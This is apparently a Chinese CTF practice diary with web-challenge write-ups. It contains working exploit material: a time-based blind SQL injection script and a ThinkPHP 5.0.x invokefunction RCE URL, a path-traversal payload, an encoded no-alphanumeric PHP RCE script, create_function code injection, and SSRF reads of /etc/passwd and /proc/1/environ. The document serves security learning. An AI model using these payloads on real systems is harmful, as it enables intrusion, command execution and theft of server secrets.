8月1日[SWPUCTF 2022 新生赛]where_am_i
进题目提示什么是11位,那肯定是电话号码了,但是啥电话号码不知道,但是还给了一张图片,识图看看,发现是一个酒店,
把这酒店电话一填,就有flag了(web题考misc!!!)
8月4日[HNCTF 2022 WEEK2]4 byte command
nc连接,直接用最短命令nl *
成功rce
8月5日[NCTF 2021]baibaibai
thinkPHP5.0.16- sql盲注(rce漏洞)
有www.zip泄露,翻源码发现M1sakaM1yuu.php有sql注入漏洞
然后发现thinkphp版本是5.0.16
然后网上找找,发现Thinkphp 5.0.15 SQL注入漏洞挖掘分析-先知社区
第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup - 渗透测试中心 - 博客园
本来这个sqll注入漏洞是5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
但上文也给出了5.0.16的漏洞利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
import time
flag = ''
for i in range(1,100):
for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.':
#开始计时
before_time = time.time()
#payload = 'substr((select(database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j)
payload = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j)
url = 'http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload)
#print(url)
r = requests.get(url)
#print(r.text)
#返回时间
after_time = time.time()
offset = after_time - before_time
if offset > 2.8:
flag += j
print(flag)
break
|
或者直接rce(直接搜thinkph5.0.16漏洞就有rce漏洞)
1
|
/public//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /;tac /flag
|

8月6日[SWPUCTF 2021 新生赛]easy_md5

8月7日[HCTF 2018]Warmup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
<?php
// 显示当前文件的源代码
highlight_file(__FILE__);
// 定义一个名为emmm的类
class emmm
{
// 静态方法checkFile,用于检查文件是否在白名单中
public static function checkFile(&$page)
{
// 定义白名单数组,只允许访问source.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 检查1:如果$page未设置或不是字符串,返回false
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
// 检查2:如果$page完全匹配白名单中的值,返回true
if (in_array($page, $whitelist)) {
return true;
}
// 处理带问号的参数:截取问号前的部分
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') // 查找问号位置,找不到则返回字符串长度
);
// 检查3:如果截取后的部分在白名单中,返回true
if (in_array($_page, $whitelist)) {
return true;
}
// 对URL解码后再次检查
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 检查4:如果解码并截取后的部分在白名单中,返回true
if (in_array($_page, $whitelist)) {
return true;
}
// 所有检查都不通过,返回false
echo "you can't see it";
return false;
}
}
// 主程序逻辑
if (! empty($_REQUEST['file']) // 检查file参数是否存在且非空
&& is_string($_REQUEST['file']) // 检查file参数是否为字符串
&& emmm::checkFile($_REQUEST['file']) // 调用checkFile方法进行白名单验证
) {
// 所有检查通过,包含指定的文件
include $_REQUEST['file'];
exit;
} else {
// 检查未通过,显示一张图片
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
|
访问hint.php提示flag in ffffllllaaaagggg。直接目录穿越就行
1
|
?file=source.php?../../.../../../../../ffffllllaaaagggg
|
解释一下:审计代码知道file要有source.php或者hint.php,且要在?前,然后利用在文件系统中,source.php? 被视为目录(即使不存在),所以直接../ 向上跳转目录路径穿越拿flag。
这里简单学一下 mb_substr() 函数,看个例子就懂了。
1
2
3
4
|
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
|
8月8日[极客大挑战 2020]rceme
进入题目查看源码提示vim源码泄露,直接访问/.index.php.swp得到其源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
/**********************************
*
* author : Longlone
* type : Backup
*
**********************************/
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>
|
先就爆破code,这个$_SESSION['code']
在题目页面给出
1
2
3
4
5
6
|
import hashlib
for i in range(1,10000000000000):
m=hashlib.md5(str(i).encode()).hexdigest()
if m[0:5]=='72146':
print(i)
break
|
然后就是关于rce了,首先这个无数字字母rce一眼用取反绕过,然后第二层正则还限制了必须是无参数rce,所以用
1
2
3
4
5
6
7
|
system(next(getallheaders())); //getallheaders()简单讲可以获取数包据头
选择ua那注入
然后修改成:User-Agent: ls
代码执行后,会获取第二个字段的值,我是把us的位置手动调成第二个字段,然后执行命令
|
异或的脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
|
1
|
[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
|

但是这有点坑,就是这个$_SESSION['code']
会随着你发包后变化,所以下面有个自动化脚本自动获取code然后rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import hashlib
import requests
s = requests.session()
url = 'http://node4.anna.nssctf.cn:28467/'
r = s.get(url)
pos = r.text.find('==')
code = r.text[pos+2:pos+7]
code_md5 = ''
for i in range(1,10000000000000):
m=hashlib.md5(str(i).encode()).hexdigest()
if m[0:5]==code:
code_md5 = i
print(i)
break
cmd = '[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));'
raw_data = f'code={code_md5}&cmd={cmd}'
r = s.post(
url=url,
data=raw_data,
allow_redirects=False,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'tac /flll1114gggggg',
}
)
print('[*]', r.text)
|
PHP的无参数RCE-先知社区
8月9日[BJDCTF 2020]easy search
考点:ssi注入
扫描得到index.php.swp得到其源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
|
这里有个$admin == substr(md5($_POST['password']),0,6)
,这里个代码直接跑
1
2
3
4
5
6
7
|
import hashlib
for i in range(1,100000000000):
a=hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6]=='6d0bc1':
print(i)
break
|
跑出来是2020666
,然后用户名随便,发包得到

访问,但是环境有点问题

后面是打ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果
^v^
8月10日[NSSRound#16 Basic]了解过PHP特性吗
php各种函数性质利用+create_function进行rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']); //strrev() 函数反转字符串。
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {//0e开头绕过就行
$checker_2 = TRUE; //ctype_alpha() 函数检测字符串中所有字符是否都为字母
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {//array_search() 函数用于在数组中搜索某个值,并返回对应的键名。如果找不到该值,则返回 false。在转换后数组中搜索字符串"NSS"由于其默认只比较值不比较类型,整数0会被认为等于字符串"NSS",所以如果转换后的数组第一个元素是0,就会满足条件,就会返回键名0,所以arr4y[]=0或者arr4y[0]=0就行(等于字母也行)
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
|
PHP array_search() 函数 | 菜鸟教程
1
|
ctype=YcGyb&is_num=807016042&514=100000000a&arr4y[]=0
|
得到路由Rc3_function.php
1
2
3
4
5
6
7
8
|
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
|
1
|
shell=&nss=echo 123;}system('cat /f*');//
|
这个就相当于
1
2
|
function f(){
echo 123;}system('cat /f*');//} //最后需要注释去掉}避免语法错误。
|
8月11日[SDCTF 2022]CURL Up and Read
考点:js阻止非法url+curl的SSRF漏洞利用
输入https://www.baidu.com
发现跳到百度,后端抓包试试,格式是/read/base64编码的{"url":"https://www.baidu.com"}
那打打ssrf??
直接打file:///etc/passwd试试,前端打无效(js阻止了不合法的http的url),后端抓包试试,格式是/read/eyJ1cmwiOiJmaWxlOi8vL2V0Yy9wYXNzd2QifQ==
发现可以
尝试一番发现flag在/proc/1/envrion
,打file:///proc/1/environ
